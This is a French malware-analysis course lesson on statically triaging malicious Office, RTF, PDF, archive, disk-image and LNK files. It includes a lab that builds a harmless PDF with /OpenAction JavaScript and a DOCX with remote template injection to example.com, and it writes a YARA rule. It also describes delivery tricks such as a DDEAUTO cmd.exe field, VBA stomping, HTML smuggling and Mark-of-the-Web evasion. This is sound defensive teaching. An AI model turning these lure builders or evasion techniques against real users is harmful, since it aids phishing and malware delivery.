Leçon 10.4 · Au-delà de l'EXE· 45 min
Documents et archives malveillants
Trier fichiers Office, RTF, PDF, archives, images disque et raccourcis LNK malveillants sans les ouvrir, et en extraire l’étape suivante et ses IOC.
Objectifs
- Identifier le véritable format d’une pièce jointe à partir de ses octets magiques, quoi qu’en dise son extension
- Localiser le contenu actif des fichiers Office : macros VBA et XLM, points d’entrée à exécution automatique, modèles distants, objets OLE intégrés et champs DDE
- Lire la structure d’objets d’un PDF et y trouver les entrées /OpenAction, /JavaScript, /Launch, /URI et /EmbeddedFile avec pdfid et un analyseur PDF
- Expliquer comment les fichiers ISO, VHD, les archives et les fichiers LNK servent à livrer des charges utiles, et comment les conteneurs ont affecté le Mark-of-the-Web
- Extraire les URL de l’étape suivante, les noms des fichiers déposés et les hashs des objets intégrés, puis en tirer un rapport et une règle YARA
La plupart des malwares (logiciels malveillants) n’atteignent pas leur victime sous la forme d’un EXE nu. Ils arrivent déguisés en facture ou en avis d’expédition : un document Word, un PDF, un ZIP, une image disque ou un raccourci. Le fichier est rarement la charge utile. C’est un véhicule de livraison dont le seul rôle est de faire exécuter autre chose : une macro qui lance PowerShell, un lien qui récupère un modèle, un exécutable intégré, ou un exploit qui dépose du shellcode.
Cela détermine l’objectif de l’analyste. Face à une pièce jointe suspecte, vous voulez répondre à trois questions : quel est réellement ce format, où se trouve le contenu actif, et quelle est l’étape suivante (une URL, un fichier intégré, une ligne de commande) ? Et vous voulez y répondre sans ouvrir le fichier dans Word, Acrobat ou l’Explorateur, car l’ouvrir est précisément ce pour quoi l’attaquant l’a conçu. Chaque technique de cette leçon analyse le conteneur en tant que données.
Identifier d’abord le véritable format
Les extensions mentent, et les applications sont tolérantes. Word ouvrira sans
broncher un RTF renommé en .doc, et Windows décide comment traiter un fichier
d’après son extension, non d’après son contenu. Commencez par les premiers
octets, comme dans Identifier et hacher les
fichiers.
| Format | Octets magiques | Où | Remarques |
|---|---|---|---|
Fichier composé OLE2 (.doc, .xls, .ppt, .msg) | D0 CF 11 E0 A1 B1 1A E1 | Offset 0 | Un petit système de fichiers de stockages et de flux à l’intérieur d’un seul fichier |
OOXML (.docx, .docm, .xlsx, .xlsm, .pptx) | 50 4B 03 04 (PK..) | Offset 0 | Un ZIP de parties XML ; également JAR, APK et ZIP ordinaire |
| RTF | {\rtf | Offset 0 | Texte brut ; Word tolère des en-têtes abîmés comme {\rt |
%PDF- | Près du début | Les lecteurs acceptent l’en-tête n’importe où dans les 1024 premiers octets | |
ISO 9660 (.iso, souvent .img) | CD001 | Offset 0x8001 | Les 32 premiers Kio forment une zone système réservée, généralement remplie de zéros |
| VHD / VHDX | conectix / vhdxfile | Pied de fichier (VHD) / offset 0 (VHDX) | Monté par Windows d’un double-clic |
Raccourci Windows (.lnk) | 4C 00 00 00 01 14 02 00 | Offset 0 | Taille d’en-tête 0x4C suivie du CLSID du shell link |
OneNote (.one) | E4 52 5C 7B 8C D8 A7 4D | Offset 0 | Début du GUID du fichier de section ; les fichiers intégrés sont stockés en clair |
file et Detect It Easy reconnaissent tous ces formats. Une discordance avec
l’extension constitue en soi une découverte.
Le HTML smuggling n’a pas sa place dans le tableau, car il n’y a pas de
format particulier : la pièce jointe est un fichier .html ordinaire. Son
script contient une charge utile sous forme de chaîne Base64 ou de tableau
d’octets, la transforme en Blob et déclenche un téléchargement avec
URL.createObjectURL et un élément <a download>, si bien que le ZIP ou l’ISO
est assemblé dans le navigateur et ne franchit jamais la passerelle de
messagerie sous forme de fichier. Traitez-le comme un malware de
script : trouvez le blob, décodez-le statiquement et
triez ce qu’il contient.
Documents Office
Où vivent les macros
Le code VBA est stocké dans une structure OLE2 dans les deux générations de
formats Office : le stockage Macros/VBA dans un .doc historique,
_VBA_PROJECT_CUR/VBA dans un .xls. Un fichier OOXML prenant en charge les
macros (.docm, .xlsm) transporte un fichier OLE complet comme membre ZIP
word/vbaProject.bin ou xl/vbaProject.bin, si bien qu’un simple unzip -l
vous dit si un projet de macros existe.
Chaque flux de module contient deux choses : le code source, compressé avec l’algorithme MS-OVBA, et le p-code, la forme compilée pour une version précise de VBA. Office exécute le p-code quand la version correspond et recompile à partir du source quand elle ne correspond pas.
Cette séparation rend possible le VBA stomping : l’attaquant écrase ou vide le source tout en conservant le p-code malveillant. olevba montre alors un source inoffensif ou vide, et pourtant Office, dans une version correspondante, exécute le p-code. olevba signale un stomping probable quand le source et le p-code divergent, et pcodedmp désassemble directement le p-code.
Les points d’entrée qui s’exécutent automatiquement
Une macro est inoffensive tant que rien ne l’appelle. Cherchez d’abord les procédures qu’Office exécute de lui-même :
| Hôte | Noms à exécution automatique |
|---|---|
| Word | AutoOpen, Document_Open, AutoClose, Document_Close, AutoExec, AutoNew, Document_New |
| Excel | Auto_Open, Workbook_Open, Workbook_Activate, Auto_Close, Workbook_BeforeClose |
| Tous | Événements de contrôles ActiveX comme InkPicture1_Painted ou *_Layout, utilisés pour éviter les noms évidents |
À partir du point d’entrée, suivez les appels jusqu’aux points d’exécution
(sinks) qui agissent sur le système : Shell,
CreateObject("WScript.Shell"), WScript.Shell.Run, MSXML2.XMLHTTP,
SaveToFile d’ADODB.Stream, Win32_Process.Create de WMI, et les
instructions Declare qui importent des API Windows comme VirtualAlloc et
CreateThread pour exécuter du shellcode dans le processus. Désobfusquez comme
pour les scripts : décodez les chaînes statiquement et conservez chaque couche.
Macros Excel 4.0 (XLM)
Avant VBA, Excel disposait de feuilles de macros : des formules comme
=EXEC(), =CALL() et =REGISTER() dans des cellules, exécutées à partir d’un
nom défini Auto_Open. Les attaquants les ont ressuscitées vers 2020, car de
nombreux outils et scanners les ignoraient. Les feuilles de macros sont souvent
très masquées (very hidden, un état qu’on ne peut définir que par
programmation), et les formules construisent des chaînes avec CHAR() et des
références de cellules dispersées dans la feuille. olevba signale le XLM via
son plugin BIFF, et XLMMacroDeobfuscator émule les formules pour retrouver les
appels finaux. Microsoft désactive désormais les macros XLM par défaut.
Modèles distants et relations externes
Un document OOXML n’a pas besoin de macro pour en récupérer une. Les relations
de chaque partie se trouvent dans un fichier _rels/*.rels, et une relation
avec TargetMode="External" pointe hors du paquet. Quand
word/_rels/settings.xml.rels contient une relation attachedTemplate vers une
URL, Word télécharge ce modèle à l’ouverture du document, et le modèle peut
transporter les macros. C’est l’injection de modèle distant (ATT&CK
T1221) : la pièce jointe elle-même est propre, et la charge utile se trouve sur
un serveur qui peut n’être activé que quelques heures. Le même mécanisme, avec
une relation oleObject pointant vers une page HTML, a servi de voie de
livraison à Follina (CVE-2022-30190). Toute cible externe dans une partie
.rels est une URL d’étape suivante.
Objets OLE intégrés et DDE
Les documents peuvent intégrer d’autres fichiers sous forme d’objets OLE : un objet Package enveloppant un EXE, un script ou un LNK, avec une icône sur laquelle l’utilisateur est invité à double-cliquer, ou un objet d’une classe précise qu’un composant vulnérable va analyser. Ressources, overlays et autres cachettes faisait la même remarque à propos des PE : des conteneurs dans des conteneurs.
Les champs DDE (Dynamic Data Exchange) ont été détournés en 2017 comme moyen
d’exécuter des commandes sans macro : un champ tel que
DDEAUTO c:\\windows\\system32\\cmd.exe "/k ..." dans le corps du document
demande à Office de lancer un programme lors de la mise à jour des champs.
Microsoft a depuis désactivé par défaut les mises à jour DDE automatiques, mais
d’anciens échantillons et des variantes CSV apparaissent encore.
La méthode oletools
Décrite ici plutôt qu’exécutée sur un échantillon réel :
oleid sample.doc: un résumé des risques portant sur le format, le chiffrement, le VBA, le XLM et les relations externes.olevba --decode sample.doc > olevba.txt: le source VBA décompressé et un tableau de mots-clés (AutoExec, Suspicious, IOC). Lisez le tableau, puis le code à partir de la procédure à exécution automatique.oledump.py sample.docliste chaque flux avec un index, en marquant les flux VBA d’unM;oledump.py -s 8 -v sample.docdécompresse un module lorsque la sortie d’olevba est partielle.- Si olevba signale du stomping, comparez le désassemblage du p-code produit par pcodedmp avec le source visible.
oleobj -d out/ sample.docextrait les objets intégrés (et liste les relations externes en OOXML) ;msodde sample.docaffiche les champs DDE. Hachez chaque objet extrait et triez-le comme un nouvel échantillon.
Attention : Les fichiers Office chiffrés cachent tout à ces outils.
oleidindiqueEncrypted: True, et olevba essaie automatiquement le mot de passe par défaut de lecture seuleVelvetSweatshop. Pour les autres mots de passe, que les e-mails d’hameçonnage fournissent souvent dans leur corps, déchiffrez une copie avec msoffcrypto-tool avant l’analyse.
RTF : objets et Éditeur d’équations
Le RTF est du texte : il ne peut donc pas contenir de VBA, mais ses mots de
contrôle \object et \objdata intègrent des objets OLE en hexadécimal.
L’analyseur est extrêmement tolérant : les mots de contrôle inconnus sont
ignorés, les espaces et les déchets sont admis à l’intérieur des données
hexadécimales, et les en-têtes peuvent être altérés. Les attaquants exploitent
cette tolérance pour casser les signatures, c’est pourquoi vous devriez utiliser
rtfobj plutôt qu’une expression régulière. Il liste chaque objet avec son nom
de classe et en extrait les données brutes.
Le nom de classe qui a le plus compté est Equation.3. L’Éditeur d’équations
de Microsoft, EQNEDT32.EXE, était un composant datant de 2000 qui s’exécutait
dans son propre processus, sans les protections modernes comme l’ASLR.
CVE-2017-11882 était un dépassement de tampon sur la pile dans son analyse des
noms de polices, et CVE-2018-0802 un second dépassement découvert peu après. Un
RTF contenant un objet Equation.3 suffisait à exécuter du shellcode sans
aucune invite de macro, sur n’importe quelle version d’Office non corrigée, et
ces exploits sont restés dans les campagnes grand public pendant des années
après que Microsoft a supprimé le composant en janvier 2018. Quand rtfobj
affiche un objet d’équation, extrayez-le, localisez le shellcode et poursuivez
avec Analyse de shellcode.
Structure d’un PDF
Un PDF est un ensemble d’objets numérotés (7 0 obj ... endobj) qui se
référencent les uns les autres (7 0 R), une table xref qui donne l’offset de
chaque objet, et un trailer qui désigne le catalogue racine. Les objets
sont des dictionnaires, des tableaux, des chaînes, des noms et des nombres ; les
données volumineuses se trouvent dans des flux (streams), dont le
dictionnaire nomme les filtres qui leur sont appliqués (/FlateDecode est
du zlib ; /ASCIIHexDecode, /ASCII85Decode, /LZWDecode et
/RunLengthDecode sont aussi courants, et les filtres peuvent s’enchaîner). Les
flux compressés expliquent pourquoi grep ne trouve rien d’intéressant dans la
plupart des PDF malveillants.
Les noms qui comptent :
| Nom | Signification |
|---|---|
/OpenAction, /AA | Une action à exécuter à l’ouverture du document ou d’une page (actions supplémentaires) |
/JavaScript, /JS | Action JavaScript et son code, en ligne ou dans un flux |
/Launch | Lancer un programme externe ou ouvrir un fichier |
/EmbeddedFile | Un fichier joint à l’intérieur du PDF |
/URI, /SubmitForm, /GoToR | Ouvrir une URL, envoyer des données de formulaire, ouvrir un autre document |
/ObjStm | Flux d’objets : des objets stockés compressés à l’intérieur d’un autre flux |
/Encrypt, /XFA, /RichMedia, /JBIG2Decode | Chiffrement, formulaires XML, Flash, et un filtre lié à des exploits passés |
Deux astuces d’évasion reviennent : les noms échappés en hexadécimal
(/J#61vaScript vaut /JavaScript) et les objets cachés dans un /ObjStm,
invisibles pour un scanner qui ne lit que le niveau supérieur. pdfid normalise
les noms échappés et compte les /ObjStm ; un compte non nul signifie qu’il
vous faut un analyseur capable de déplier les flux d’objets.
La plupart des PDF malveillants actuels sont des leurres d’hameçonnage avec un
lien /URI ou un QR code, si bien que l’URL constitue souvent à elle seule toute
la découverte. Avec les outils de Didier Stevens : pdfid pour le comptage des
mots-clés, puis pdf-parser.py -s /OpenAction pour rechercher un nom,
pdf-parser.py -o 7 -f pour afficher l’objet 7 avec ses filtres appliqués, et
-d out.bin pour dumper le flux décodé. peepdf-3 offre les mêmes possibilités
via des commandes comme object, stream et extract uri.
Conteneurs, archives et Mark-of-the-Web
Quand Windows enregistre un fichier provenant d’Internet, le navigateur ou le
client de messagerie ajoute un flux de données alternatif NTFS nommé
Zone.Identifier avec ZoneId=3. C’est ce Mark-of-the-Web (MotW) qui fait
que SmartScreen avertit à propos des exécutables, qu’Office ouvre les documents
en mode protégé et, depuis 2022, bloque purement et simplement les macros dans
les documents provenant d’Internet.
Les attaquants ont réagi en enveloppant les charges utiles dans des conteneurs qui ne transmettaient pas la marque à leur contenu :
- Les fichiers ISO, IMG et VHD se montent comme un lecteur d’un double-clic. Jusqu’à la mise à jour Windows de novembre 2022, les fichiers d’un ISO monté n’héritaient pas du MotW, si bien qu’un LNK ou un EXE qu’il contenait s’exécutait sans l’avertissement qu’un téléchargement direct aurait déclenché.
- Les archives ZIP et 7z protégées par mot de passe mettent en échec l’analyse des passerelles, car le contenu est chiffré et le mot de passe se trouve dans le corps de l’e-mail. Certains extracteurs tiers ne propagent pas le MotW, ou seulement s’ils sont configurés pour le faire.
- Les archives imbriquées (un ZIP dans un ISO dans un ZIP) épuisent les limites de récursion des scanners et multiplient les chances qu’une couche perde la marque.
Une fois que Microsoft a bloqué les macros provenant d’Internet en 2022, le couple ISO plus LNK, puis les fichiers OneNote contenant des scripts intégrés, sont devenus le mode de livraison privilégié des campagnes grand public. Pour l’analyse, extrayez avec 7-Zip, qui lit l’ISO, le VHD et la plupart des archives sans rien monter, triez chaque fichier qu’ils contiennent et consignez l’imbrication complète.
Les fichiers LNK comme lanceurs
Un raccourci n’a besoin d’aucun exploit. Il pointe vers un binaire légitime
comme cmd.exe, powershell.exe, mshta.exe ou rundll32.exe, avec des
arguments qui font le travail et une icône empruntée à un lecteur PDF ou à un
dossier. Les arguments sont souvent complétés par des espaces pour que la boîte
de dialogue Propriétés n’en montre qu’un début innocent.
Les champs à extraire, avec LnkParse3 (lnkparse sample.lnk, ou -j pour du
JSON) :
- La cible : le chemin figurant dans les structures LinkTargetIDList et LinkInfo.
- Les arguments de ligne de commande issus de StringData : généralement la charge utile, souvent une commande PowerShell encodée à décoder comme dans la leçon sur les scripts.
- L’emplacement de l’icône et le répertoire de travail : ce que le leurre imite et l’endroit où il s’attend à trouver des fichiers d’accompagnement.
- Le bloc Tracker data dans ExtraData : le nom NetBIOS et une adresse MAC de la machine qui a créé le raccourci. Ils décrivent la machine de build de l’attaquant et permettent bien de regrouper les campagnes.
- Les données ajoutées après les structures LNK, que certains échantillons
découpent avec
findstrou PowerShell.
Ce qu’il faut extraire et rapporter
Pour chaque document ou conteneur, collectez :
- La chaîne de formats : chaque couche, du conteneur extérieur à la charge utile, avec son type réel et son SHA-256.
- Le contenu actif : points d’entrée des macros, cellules XLM, JavaScript, champs DDE, classes des objets d’exploit, cible et arguments des LNK.
- Les URL de l’étape suivante issues des macros, des cibles
.rels, des actions PDF et des arguments LNK, neutralisées (hxxp://update[.]example[.]com/lab). - Les noms des fichiers déposés comme
%TEMP%\invoice.dll, et la commande qui les exécute. - Les hashs des objets intégrés : le même objet OLE ou le même modèle revient souvent d’un leurre à l’autre avec un texte différent.
- Les IOC des macros : clés de décodage, déclarations d’API, user-agents, métadonnées d’auteur, identifiants de machine des LNK.
Rédigez ensuite le tout selon la structure du rapport de triage.
Pour la détection, souvenez-vous de ce que voit YARA. La
structure OLE et PDF est visible dans le fichier brut, donc
uint32(0) == 0x46445025 (%PDF) avec des noms comme /OpenAction et
/JavaScript fonctionne. Mais les parties OOXML sont compressées (deflate) dans
le ZIP et le source VBA est compressé dans son flux, si bien que les chaînes que
vous lisez dans la sortie d’olevba ne se trouvent généralement pas dans les
octets du fichier. Appliquez ces règles aux parties extraites, comme le montre
le lab, et décompressez avant d’analyser.
Lab : un PDF et un DOCX analysés sans visionneuse
Vous allez construire deux fichiers inoffensifs avec Python et trouver leur
contenu actif uniquement avec des analyseurs. Le JavaScript du PDF ne fait
qu’appeler app.alert("lab") ; le DOCX ne contient aucune macro ; tous deux
pointent vers le domaine réservé example.com. Les sorties sont réelles,
obtenues avec Python 3.14.7 sous macOS, oletools 0.60.2, pdfid 0.2.7,
peepdf-3 6.0.0 et yara-python dans un environnement virtuel. pdf-parser n’étant
pas sur PyPI, peepdf-3 joue son rôle.
-
Créez un environnement isolé :
bash python3 -m venv venv ./venv/bin/pip install oletools pdfid peepdf-3 yara-python -
Enregistrez
make_pdf.py. Il écrit sept objets : un catalogue dont l’/OpenActionpointe vers une action JavaScript, une page avec une annotation de lien, et un flux/FlateDecodecontenant le script :python # make_pdf.py: build a harmless lab PDF with an /OpenAction JavaScript and a /URI link import zlib js = zlib.compress(b'app.alert("lab");') objs = [ b"<< /Type /Catalog /Pages 2 0 R /OpenAction 5 0 R >>", b"<< /Type /Pages /Kids [3 0 R] /Count 1 >>", b"<< /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792] /Contents 4 0 R /Annots [6 0 R] >>", b"<< /Length 0 >>\nstream\n\nendstream", b"<< /Type /Action /S /JavaScript /JS 7 0 R >>", b"<< /Type /Annot /Subtype /Link /Rect [0 0 612 792] /A << /S /URI /URI (http://update.example.com/lab) >> >>", b"<< /Length %d /Filter /FlateDecode >>\nstream\n" % len(js) + js + b"\nendstream", ] out = bytearray(b"%PDF-1.7\n%\xe2\xe3\xcf\xd3\n") offsets = [] for n, body in enumerate(objs, start=1): offsets.append(len(out)) out += b"%d 0 obj\n" % n + body + b"\nendobj\n" xref = len(out) out += b"xref\n0 %d\n0000000000 65535 f \n" % (len(objs) + 1) for off in offsets: out += b"%010d 00000 n \n" % off out += b"trailer\n<< /Size %d /Root 1 0 R >>\nstartxref\n%d\n%%%%EOF\n" % (len(objs) + 1, xref) open("statement.pdf", "wb").write(out) print(f"wrote statement.pdf, {len(out)} bytes") -
Construisez-le et vérifiez ce qu’une simple recherche textuelle peut voir :
bash ./venv/bin/python make_pdf.py grep -ac 'app.alert' statement.pdf grep -ao '/URI ([^)]*)' statement.pdftext wrote statement.pdf, 793 bytes 0 /URI (http://update.example.com/lab)L’URL est une chaîne non compressée et apparaît. Le script se trouve dans un flux compressé et n’apparaît pas.
-
Lancez pdfid (le paquet pip l’installe en tant que module) et masquez les comptes nuls :
bash ./venv/bin/python -m pdfid statement.pdf | grep -vE ' 0$'text PDFiD 0.2.7 statement.pdf PDF Header: %PDF-1.7 obj 7 endobj 7 stream 2 endstream 2 xref 1 trailer 1 startxref 1 /Page 1 /JS 1 /JavaScript 1 /OpenAction 1/OpenActionavec/JavaScriptest le couple classique : du code qui s’exécute à l’ouverture du fichier. pdfid ne compte pas/URIpar défaut, une raison de plus de poursuivre avec un analyseur. -
Obtenez le résumé de peepdf-3 (
-gdésactive les couleurs,-fforce l’analyse malgré les erreurs). Réduit à la section d’analyse :bash ./venv/bin/peepdf -g -f statement.pdftext Objects: 7 Streams: 2 URIs: 1 ... Streams (2): [4, 7] Encoded (1): [7] Objects with URIs (1): [6] Objects with JS code (1): [7] Suspicious elements (3): /OpenAction (1): [1] /JS (1): [5] /JavaScript (1): [5] -
Suivez la chaîne du catalogue jusqu’au code, un objet à la fois :
bash for c in "object 1" "object 5" "filters 7" "stream 7" "extract uri"; do ./venv/bin/peepdf -g -f -C "$c" statement.pdf donetext << /Type /Catalog /Pages 2 0 R /OpenAction 5 0 R >> << /Type /Action /S /JavaScript /JS 7 0 R >> /FlateDecode app.alert("lab"); http://update.example.com/lab 6L’objet 1 s’ouvre avec l’objet 5, une action JavaScript dont le code est l’objet 7, compressé. peepdf l’a décodé sans qu’aucun lecteur ne l’exécute. Avec pdf-parser :
-s /OpenAction, puis-o 5, puis-o 7 -f. -
Enregistrez
make_docx.py, qui écrit un paquet OOXML de six parties dont la relation des paramètres pointe vers un modèle distant :python # make_docx.py: build a harmless .docx whose settings point to a remote template import zipfile W = "http://schemas.openxmlformats.org/wordprocessingml/2006/main" R = "http://schemas.openxmlformats.org/officeDocument/2006/relationships" PR = "http://schemas.openxmlformats.org/package/2006/relationships" parts = { "[Content_Types].xml": """<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"> <Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/> <Default Extension="xml" ContentType="application/xml"/> <Override PartName="/word/document.xml" ContentType="application/vnd.openxmlformats-officedocument.wordprocessingml.document.main+xml"/> <Override PartName="/word/settings.xml" ContentType="application/vnd.openxmlformats-officedocument.wordprocessingml.settings+xml"/> </Types>""", "_rels/.rels": f"""<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <Relationships xmlns="{PR}"> <Relationship Id="rId1" Type="{R}/officeDocument" Target="word/document.xml"/> </Relationships>""", "word/document.xml": f"""<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <w:document xmlns:w="{W}"><w:body><w:p><w:r><w:t>Invoice attached. Please enable editing.</w:t></w:r></w:p></w:body></w:document>""", "word/_rels/document.xml.rels": f"""<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <Relationships xmlns="{PR}"> <Relationship Id="rId1" Type="{R}/settings" Target="settings.xml"/> </Relationships>""", "word/settings.xml": f"""<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <w:settings xmlns:w="{W}" xmlns:r="{R}"><w:attachedTemplate r:id="rId1"/></w:settings>""", "word/_rels/settings.xml.rels": f"""<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <Relationships xmlns="{PR}"> <Relationship Id="rId1" Type="{R}/attachedTemplate" Target="http://update.example.com/lab/template.dotm" TargetMode="External"/> </Relationships>""", } with zipfile.ZipFile("invoice.docx", "w", zipfile.ZIP_DEFLATED) as z: for name, text in parts.items(): z.writestr(zipfile.ZipInfo(name, date_time=(2026, 9, 29, 9, 0, 0)), text, zipfile.ZIP_DEFLATED) print("wrote invoice.docx") -
Construisez-le, confirmez le format et listez les parties :
bash ./venv/bin/python make_docx.py xxd -l 16 invoice.docx file invoice.docx unzip -l invoice.docx grep -ac update.example invoice.docxtext wrote invoice.docx 00000000: 504b 0304 1400 0000 0800 0048 3d5d d765 PK.........H=].e invoice.docx: Microsoft Word 2007+ Archive: invoice.docx Length Date Time Name --------- ---------- ----- ---- 566 09-29-2026 09:00 [Content_Types].xml 300 09-29-2026 09:00 _rels/.rels 242 09-29-2026 09:00 word/document.xml 289 09-29-2026 09:00 word/_rels/document.xml.rels 263 09-29-2026 09:00 word/settings.xml 350 09-29-2026 09:00 word/_rels/settings.xml.rels --------- ------- 2010 6 files 0PKet une arborescenceword/: de l’OOXML, sansvbaProject.bin. Ungrepbrut sur le domaine ne trouve rien, car chaque partie est compressée. -
Lisez les parties de relations directement depuis l’archive, sans les extraire sur le disque :
bash unzip -p invoice.docx 'word/_rels/*.rels' | grep -o '<Relationship [^>]*TargetMode="External"[^>]*>'text <Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate" Target="http://update.example.com/lab/template.dotm" TargetMode="External"/> -
Laissez oletools parvenir à la même conclusion. Sortie débarrassée des bannières :
bash ./venv/bin/oleid invoice.docx ./venv/bin/olevba invoice.docx ./venv/bin/oleobj invoice.docxtext File format |MS Word 2007+ |info | |Document (.docx) | | Container format |OpenXML |info |Container type Encrypted |False |none |The file is not encrypted VBA Macros |No |none |This file does not contain | | |VBA macros. XLM Macros |No |none |This file does not contain | | |Excel 4/XLM macros. External |1 |HIGH |External relationships Relationships | | |found: attachedTemplate - | | |use oleobj for details Type: OpenXML No VBA or XLM macros found. Found relationship 'attachedTemplate' with external link http://update.example.com/lab/template.dotmolevba ne trouve à juste titre aucune macro ; un triage qui s’arrêterait là déclarerait le fichier propre. oleid classe la relation externe en HIGH et oleobj nomme l’URL du modèle : l’étape suivante.
-
Écrivez une règle YARA pour la relation et vérifiez où elle correspond. Enregistrez
remote_template.yar:text rule OOXML_Remote_Template_Rels { meta: description = "Relationship part that loads an Office template from a URL" scope = "extracted OOXML .rels parts" strings: $type = "/relationships/attachedTemplate" ascii $ext = "TargetMode=\"External\"" ascii $url = /Target="https?:\/\/[^"]{4,200}"/ ascii condition: filesize < 20KB and all of them }Puis exécutez-la sur les parties extraites et sur le DOCX lui-même :
bash mkdir -p ext && (cd ext && unzip -oq ../invoice.docx) ./venv/bin/python - <<'EOF' import yara, pathlib r = yara.compile("remote_template.yar") for p in sorted(pathlib.Path("ext").rglob("*")): if p.is_file(): m = r.match(str(p)) if m: print(p, [x.rule for x in m]) print("docx itself:", r.match("invoice.docx")) EOFtext ext/word/_rels/settings.xml.rels ['OOXML_Remote_Template_Rels'] docx itself: []Elle correspond à la partie extraite et manque le DOCX : la compression cache les chaînes.
Questions : Pourquoi grep a-t-il trouvé l’URL du PDF mais pas son
JavaScript, et pourquoi n’a-t-il trouvé aucune des deux chaînes dans le DOCX ?
Quelle ligne unique de pdfid vous ferait douter de ses autres comptes ? Si un
attaquant remplaçait /JavaScript par /J#61vaScript dans l’objet 5, quels
outils de ce lab le signaleraient encore ? Pourquoi une passerelle de
messagerie qui ne vérifie que la présence de macros laisserait-elle passer
invoice.docx, et que ferait Word à l’ouverture par un utilisateur ? Rédigez la
section IOC d’un rapport pour les deux fichiers, avec les URL neutralisées et
le SHA-256 de chaque fichier.
À retenir
- Les documents et les archives sont des véhicules de livraison. Trouvez le contenu actif et l’étape suivante en analysant le fichier en tant que données, jamais en l’ouvrant.
- Identifiez le format à partir des octets magiques : OLE2
D0 CF 11 E0, OOXMLPK, RTF{\rtf, PDF%PDF-, ISOCD001à0x8001, LNK4C 00 00 00. - Dans les fichiers Office, cherchez
vbaProject.binou les stockages VBA, les noms à exécution automatique commeAutoOpen,Document_OpenetWorkbook_Open, les feuilles de macros XLM, les cibles.relsexternes, les objets OLE intégrés et les champs DDE. Le VBA « stompé » cache son source. - Dans les PDF, suivez les références d’objets depuis
/OpenActionou/AAjusqu’à/JavaScript,/Launch,/URIou/EmbeddedFile, en décodant les flux avec un analyseur plutôt qu’avec une visionneuse. - Les conteneurs (ISO, VHD, archives chiffrées et imbriquées) et les lanceurs LNK se sont répandus parce qu’ils échappaient au Mark-of-the-Web et au blocage des macros. Extrayez-les avec 7-Zip, analysez les arguments et les données Tracker des LNK, et consignez la chaîne complète.
- Rapportez la chaîne de formats avec les hashs, le contenu actif, les URL d’étape suivante neutralisées et les fichiers déposés, et écrivez des règles YARA sur le contenu décompressé lorsque le conteneur compresse ce que vous voulez détecter.